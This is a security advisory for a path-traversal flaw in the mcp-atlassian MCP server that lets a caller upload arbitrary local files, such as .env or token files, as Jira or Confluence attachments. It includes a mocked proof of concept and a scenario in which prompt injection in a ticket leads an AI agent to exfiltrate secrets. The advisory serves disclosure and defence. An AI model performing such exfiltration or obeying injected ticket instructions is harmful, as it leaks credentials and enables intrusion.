CVE-2026-77253: mcp-atlassian: path traversal enables arbitrary file exfiltration

GHSA-vc25-24vv-fxxmHIGHPoC AVAILABLECISA: TRACK*
Published September 22, 2026
CISO Take

mcp-atlassian, an MCP server that gives AI agents access to Jira and Confluence, lets any caller with write-tool access make the server read arbitrary local files and upload them as Jira or Confluence attachments. In HTTP or multi-user deployments this becomes a remote file-exfiltration primitive that can expose mounted secrets, environment files, OAuth token files and service-account credentials. Exploitation likelihood is moderate (EPSS 0.37%, top 71%), the CVE is not in CISA KEV, and a working PoC is public, but the blast radius is small (1 downstream dependent) and the package has 38 other CVEs, which points to recurring security debt. CISA SSVC marks this TRACK*, so monitor it closely. Upgrade to mcp-atlassian 0.22.0 immediately, and until then enable READ_ONLY_MODE=true and keep the server off shared HTTP endpoints.

Sources:NVDGitHub AdvisoryEPSSATLAS

What is the risk?

High (CVSS 7.1). The attack is network-reachable, needs low privileges and low complexity, and requires no user interaction. Confidentiality impact is high because any file readable by the MCP process can be exfiltrated. Integrity impact is low, since attachments are written to Jira or Confluence. Risk is highest for HTTP-exposed or multi-tenant MCP deployments running with default write access. Single-user stdio deployments carry much lower exposure. A public PoC exists, but no KEV listing or in-the-wild exploitation is reported.

How does the attack unfold?

Initial Access
The attacker gains MCP write-tool access on an HTTP or multi-user server, or influences an agent via prompt injection.
AML.T0053
Local File Read
The attacker passes an arbitrary path such as an .env or token file to the Jira or Confluence upload tool, and the server reads it without path validation.
AML.T0037
Exfiltration
The file contents are uploaded as an attachment to a Jira issue or Confluence page the attacker can access.
AML.T0086
Impact
The attacker retrieves exposed credentials or source code and pivots into connected systems.
AML.T0098

What systems are affected?

PackageEcosystemVulnerable RangePatched
MCP Atlassianpip< 0.22.00.22.0
2 dependents85% patched~4d to patchFull package profile →

Do you use MCP Atlassian? You're affected.

How severe is it?

CVSS 3.1
7.1 / 10
EPSS
0.4%
chance of exploitation in 30 days
Higher than 39% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
○CISA SSVC: Public PoC
○Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AVACPRUISCIA
AVNetwork
ACLow
PRLow
UINone
SUnchanged
CHigh
ILow
ANone

What should I do?

1 step
  1. 1) Upgrade mcp-atlassian to 0.22.0 or later (fix in PR #1448, commit b041733). 2) Until patched, set READ_ONLY_MODE=true to block the write tools. 3) Do not expose the MCP server over HTTP without authentication, and isolate per-user instances. 4) Run the MCP process with minimal filesystem access, using a read-only root, non-root user and no mounted secrets. 5) Detect abuse by reviewing Jira and Confluence audit logs for unexpected attachments (for example .env, credentials or key files), and by alerting on MCP tool calls whose file_path or attachments arguments point to system paths. 6) Rotate any credentials that could have been reachable by the process if suspicious uploads are found.

What does CISA's SSVC say?

DecisionTrack*
Exploitationpoc
AutomatableNo
Technical Impactpartial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15-Accuracy, robustness and cybersecurity
ISO 42001
A.7.4-Quality and security of data
NIST AI RMF
MANAGE 2.3-Respond to previously unknown risks
OWASP LLM Top 10
LLM02-Sensitive Information DisclosureLLM06-Excessive Agency

Frequently Asked Questions

What is CVE-2026-77253?

mcp-atlassian, an MCP server that gives AI agents access to Jira and Confluence, lets any caller with write-tool access make the server read arbitrary local files and upload them as Jira or Confluence attachments. In HTTP or multi-user deployments this becomes a remote file-exfiltration primitive that can expose mounted secrets, environment files, OAuth token files and service-account credentials. Exploitation likelihood is moderate (EPSS 0.37%, top 71%), the CVE is not in CISA KEV, and a working PoC is public, but the blast radius is small (1 downstream dependent) and the package has 38 other CVEs, which points to recurring security debt. CISA SSVC marks this TRACK*, so monitor it closely. Upgrade to mcp-atlassian 0.22.0 immediately, and until then enable READ_ONLY_MODE=true and keep the server off shared HTTP endpoints.

Is CVE-2026-77253 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-77253, increasing the risk of exploitation.

How to fix CVE-2026-77253?

1) Upgrade mcp-atlassian to 0.22.0 or later (fix in PR #1448, commit b041733). 2) Until patched, set READ_ONLY_MODE=true to block the write tools. 3) Do not expose the MCP server over HTTP without authentication, and isolate per-user instances. 4) Run the MCP process with minimal filesystem access, using a read-only root, non-root user and no mounted secrets. 5) Detect abuse by reviewing Jira and Confluence audit logs for unexpected attachments (for example .env, credentials or key files), and by alerting on MCP tool calls whose file_path or attachments arguments point to system paths. 6) Rotate any credentials that could have been reachable by the process if suspicious uploads are found.

What systems are affected by CVE-2026-77253?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, MCP servers, tool-calling LLM agents, multi-user HTTP agent deployments.

What is the CVSS score for CVE-2026-77253?

CVE-2026-77253 has a CVSS v3.1 base score of 7.1 (HIGH). The EPSS exploitation probability is 0.44%.

What is the AI security impact?

Affected AI Architectures

agent frameworksMCP serverstool-calling LLM agentsmulti-user HTTP agent deployments

MITRE ATLAS Techniques

AML.T0037Data from Local System
AML.T0053AI Agent Tool Invocation
AML.T0085.001AI Agent Tools
AML.T0086Exfiltration via AI Agent Tool Invocation
AML.T0098AI Agent Tool Credential Harvesting

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: A.7.4
NIST AI RMF: MANAGE 2.3
OWASP LLM Top 10: LLM02, LLM06

What are the technical details?

Original Advisory

### Summary MCP Atlassian exposes Jira and Confluence attachment upload tools that accept arbitrary local filesystem paths and upload those file contents to Atlassian. In HTTP or multi-user deployments, an MCP caller who can invoke write tools can cause the server to read any file accessible to the MCP process and send it to Jira/Confluence as an attachment. ### Details The Confluence MCP upload tool accepts a `file_path` described as an absolute or relative server path in `src/mcp_atlassian/servers/confluence.py:1290-1316` and forwards it directly to `confluence_fetcher.upload_attachment()` in `src/mcp_atlassian/servers/confluence.py:1356-1363`. The multi-upload variant accepts comma-separated local paths in `src/mcp_atlassian/servers/confluence.py:1372-1449`. The Confluence attachment implementation converts relative paths to absolute paths, checks only existence, and then opens the path for upload. There is no call to `validate_safe_path()` or any allowed directory check for uploads in `src/mcp_atlassian/confluence/attachments.py:61-79`; the direct upload path opens the file with `open(file_path, "rb")` in `src/mcp_atlassian/confluence/attachments.py:467-490`. The Jira upload implementation has the same pattern: it converts relative paths, checks existence, and opens the path in `src/mcp_atlassian/jira/attachments.py:371-388`. Jira issue update also accepts an `attachments` field as JSON or CSV local paths in `src/mcp_atlassian/servers/jira.py:1609-1662`, forwards it through update fields in `src/mcp_atlassian/servers/jira.py:1668-1676`, and `IssuesMixin.update_issue()` calls `self.upload_attachments(issue_key, kwargs["attachments"])` in `src/mcp_atlassian/jira/issues.py:1132-1137`. The tools are decorated with `@check_write_access`, so `READ_ONLY_MODE=true` blocks them. However, in default write-enabled deployments, the only security boundary is whether the MCP caller can invoke write tools. Combined with HTTP/multi-user exposure, this becomes a server-side arbitrary file read/exfiltration primitive to the configured Jira/Confluence instance. ### PoC The following proof uses temporary files and mocked upload sinks only. It does not contact Atlassian or modify remote data. ```bash uv run python - <<'PY' import json, tempfile from pathlib import Path from types import SimpleNamespace from mcp_atlassian.confluence.attachments import AttachmentsMixin as ConfluenceAttachmentsMixin from mcp_atlassian.confluence.config import ConfluenceConfig from mcp_atlassian.jira.attachments import AttachmentsMixin as JiraAttachmentsMixin from mcp_atlassian.jira.config import JiraConfig class FakeResponse: def raise_for_status(self): pass def json(self): return {'results': [{'id': 'att-poc'}]} class FakeConfluenceSession: def __init__(self): self.uploaded = None def put(self, url, headers=None, files=None, data=None): file_tuple = files['file'] self.uploaded = { 'url': url, 'filename': file_tuple[0], 'content': file_tuple[1].read().decode(), } file_tuple[1].close() return FakeResponse() def confluence_probe(secret_path): fetcher = object.__new__(ConfluenceAttachmentsMixin) session = FakeConfluenceSession() fetcher.config = ConfluenceConfig(url='https://confluence.example.test/wiki', auth_type='pat', personal_token='token') fetcher.confluence = SimpleNamespace(_session=session) result = fetcher.upload_attachment('123456', str(secret_path)) return {'result_success': result.get('success'), 'uploaded': session.uploaded} class FakeJiraApi: def __init__(self): self.uploaded = None def add_attachment(self, issue_key, filename): self.uploaded = { 'issue_key': issue_key, 'filename': Path(filename).name, 'content': Path(filename).read_text(), } return {'id': 'att-poc'} def jira_probe(secret_path): fetcher = object.__new__(JiraAttachmentsMixin) fake = FakeJiraApi() fetcher.config = JiraConfig(url='https://jira.example.test', auth_type='pat', personal_token='token') fetcher.jira = fake result = fetcher.upload_attachment('SAFE-1', str(secret_path)) return {'result_success': result.get('success'), 'uploaded': fake.uploaded} with tempfile.TemporaryDirectory(prefix='mcp-atlassian-upload-poc-') as tmp: secret_path = Path(tmp) / 'server-secret.txt' secret_path.write_text('SERVER_LOCAL_SECRET_MARKER') print(json.dumps({ 'confluence': confluence_probe(secret_path), 'jira': jira_probe(secret_path), }, indent=2, sort_keys=True)) PY ``` Observed output from this environment: ```json { "confluence": { "result_success": true, "uploaded": { "content": "SERVER_LOCAL_SECRET_MARKER", "filename": "server-secret.txt", "url": "https://confluence.example.test/wiki/rest/api/content/123456/child/attachment" } }, "jira": { "result_success": true, "uploaded": { "content": "SERVER_LOCAL_SECRET_MARKER", "filename": "server-secret.txt", "issue_key": "SAFE-1" } } } ``` The proof demonstrates that attacker-supplied local paths reach file reads and the contents are passed to the upload sink. ### Impact A caller with MCP write-tool access can exfiltrate any file readable by the MCP server process to an Atlassian issue or Confluence page that the configured account can write to. In containerized or server deployments this can include mounted secrets, environment files, OAuth fallback token files, service-account credentials, source code, or other local data. The attack is remote when the MCP server is exposed over HTTP and requires only ability to call the attachment/update write tools.

Exploitation Scenario

An attacker obtains low-privilege access to an HTTP-exposed MCP Atlassian server, or injects instructions into a Jira ticket or Confluence page that an AI agent later processes. They call the Confluence upload attachment tool, or the Jira update tool with an 'attachments' field, using a path such as /app/.env or a mounted token file. The server reads the file and uploads it to an issue or page the attacker can view. The attacker downloads the attachment, recovers service-account credentials or OAuth tokens, and uses them to pivot into other systems.

Weaknesses (CWE)

CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'): The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

  • [Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis
  • [Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Timeline

Published
September 22, 2026
Last Modified
September 22, 2026
First Seen
September 23, 2026

Related Vulnerabilities